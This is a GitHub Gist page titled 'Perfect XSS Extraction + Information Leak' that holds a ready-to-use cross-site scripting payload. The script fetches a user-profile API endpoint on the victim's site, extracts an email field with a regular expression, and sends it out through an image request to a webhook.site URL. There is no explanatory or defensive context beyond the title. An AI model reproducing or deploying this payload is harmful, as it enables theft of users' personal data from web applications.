Created
October 9, 2019 14:58
-
-
Save adon90/4367cb5c2fc825a6ff99e3d7c8734e86 to your computer and use it in GitHub Desktop.
Perfect XSS Extraction + Information Leak
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
var req = new XMLHttpRequest(); | |
req.onload = function () { | |
var patt2 = /OA_mail":\["([^"]*?)"/g; | |
var result = patt2.exec(req.responseText)[1]; | |
new Image().src = ("http://webhook.site/f6dab550-defa-4310-9a79-d0c5c1e9fdcc/?cc="+result); | |
}; | |
req.open("GET", "/api/dataUsers/v1/WebStore/getUser", true); | |
req.send(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment